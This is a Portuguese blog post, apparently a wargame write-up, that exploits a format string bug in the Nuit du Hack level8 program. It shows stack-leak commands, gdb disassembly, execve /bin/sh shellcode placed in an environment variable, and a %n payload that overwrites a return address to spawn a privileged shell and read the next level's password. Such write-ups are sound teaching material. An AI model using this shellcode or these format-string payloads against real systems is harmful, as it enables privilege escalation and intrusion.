m0nad's Blog

Just another WordPress.com site

Nuit du Hack Level8 – Format String Bug

with one comment

Mais um level do nuit du hack 🙂

Vamos ao source


#include <stdio.h>
#include <stdlib.h>

// gcc -o level8 level8.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

int main(int argc, char *argv[])
{
 if(argc < 2) {
 printf("Empty login! \n");
 exit(-1);
 }

printf(argv[1]);
 printf("\nNice to see you\n");

exit(0);
}

Temos um clássico format string bug, vamos testar.


level8@wargame2k10:~$ ./level8 "0x%x"
0xbffff868
Nice to see you
level8@wargame2k10:~$

Podemos ver que demos um pop em um valor da stack, vamos tentar ler uma área arbitraria da memória.

Com um for e grep, achamos a shell como exemplo


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "%$i\$s" |grep SHELL && echo $i; done
SHELL=/bin/sh
47
level8@wargame2k10:~$

E depois usamos o offset 47 para ler essa área da memória.


level8@wargame2k10:~$ ./level8 "%47\$s"
SHELL=/bin/sh
Nice to see you
level8@wargame2k10:~$

Podemos escrever escrever em areas de memoria arbitrariamente, usando %n, para isso basta termos o offset da onde nosso endereço esta na stack, para isso bastar achar o offset de onde nosso endereço vai estar, e o %n escrevera a quantidade de bytes digitados até então, lembrando que podemos usar %u para colocar mais bytes.


level8@wargame2k10:~$ for i in `seq 1 200`;do ./level8 "AAAAB[0x%$i\$x]" |grep 4141 && echo $i; done
AAAAB[0x41414141]
115

level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$x]"
AAAAB[0x41414141]
Nice to see you
level8@wargame2k10:~$ ./level8 "AAAAB[0x%115\$n]"
Erreur de segmentation
level8@wargame2k10:~$

O motivo da falha de segmentação foi por que tentamos escrever em 0x41414141, que não é um endereço valido, então podemos sobrescreve um endereço de retorno na pilha, por exemplo, ou a GOT no endereço de exit.ou demos o .dtor, vamos no endereço de retorno.

Dentro do gdb, disas main.

(gdb) disas main
Dump of assembler code for function main:
0x08048424 <main+0>: push %ebp
0x08048425 <main+1>: mov %esp,%ebp
0x08048427 <main+3>: sub $0x4,%esp
0x0804842a <main+6>: cmpl $0x1,0x8(%ebp)
0x0804842e <main+10>: jg 0x8048448 <main+36>
0x08048430 <main+12>: movl $0x8048530,(%esp)
0x08048437 <main+19>: call 0x8048350 <puts@plt>
0x0804843c <main+24>: movl $0xffffffff,(%esp)
0x08048443 <main+31>: call 0x8048360 <exit@plt>
0x08048448 <main+36>: mov 0xc(%ebp),%eax
0x0804844b <main+39>: add $0x4,%eax
0x0804844e <main+42>: mov (%eax),%eax
0x08048450 <main+44>: mov %eax,(%esp)
0x08048453 <main+47>: call 0x8048340 <printf@plt>
0x08048458 <main+52>: movl $0x804853e,(%esp)
0x0804845f <main+59>: call 0x8048350 <puts@plt>
0x08048464 <main+64>: movl $0x0,(%esp)
0x0804846b <main+71>: call 0x8048360 <exit@plt>
End of assembler dump.
(gdb)

Colodamos um Breakpoint na printf da plt.

(gdb) b *0x8048340
Breakpoint 1 at 0x8048340
(gdb)

Rodamos e vemos o topo da pilha, que estará o endereço de retorno salvo.

(gdb) r a
Starting program: /home/level8/level8 a

Breakpoint 1, 0x08048340 in printf@plt ()

(gdb) x/x $esp
0xbffffc60: 0x08048458
(gdb)

O que precisamos fazer é sobrescrever o endereço 0xbffffcd0 com o endereço do nosso shellcode.

Colocamos nosso shellcode numa variável de ambiente.


$ export SC=$(perl -e 'print "\x90" x 20 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\xb0\x0b\x89\xe3\x31\xd2\x52\x53\x89\xe1\xcd\x80"')
level8@wargame2k10:~$ /tmp/getenv SC
0xbfffff3e
level8@wargame2k10:~$

Vamos escrever byte a byte, usando %n,

isto é nos endereços: bffffc60, bffffc61, bffffc62, bffffc63,

por causa da quantidade de bytes o offset mudou pra 118.


(gdb) r $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/level8/level8 $(perl -e 'print "\x60\xfc\xff\xbf" . "\x61\xfc\xff\xbf" . "\x62\xfc\xff\xbf" . "\x63\xfc\xff\xbf" . "%0175u%117\$n" . "%0064u%118\$n" . "%0256u%119\$n" . "%0192u%120\$n"')

Breakpoint 1, 0x08048340 in printf@plt ()
(gdb) c
Continuing.
Executing new program: /bin/dash
$

Executamos a shell 😀

Fora do gdb,..

$ id
uid=1008(level8) gid=1008(level8) euid=1009(level9) groups=1009(level9),1008(level8)
$ cat /home/level9/passwd
g974d.

Até a próxima 🙂

Anúncios

Written by m0nad

janeiro 18, 2012 às 5:05 am

Publicado em Assembly, C, Segurança, Wargames

Uma resposta

Subscribe to comments with RSS.


Deixe um comentário

Preencha os seus dados abaixo ou clique em um ícone para log in:

Logotipo do WordPress.com

Você está comentando utilizando sua conta WordPress.com. Sair / Alterar )

Imagem do Twitter

Você está comentando utilizando sua conta Twitter. Sair / Alterar )

Foto do Facebook

Você está comentando utilizando sua conta Facebook. Sair / Alterar )

Foto do Google+

Você está comentando utilizando sua conta Google+. Sair / Alterar )

Conectando a %s

%d blogueiros gostam disto: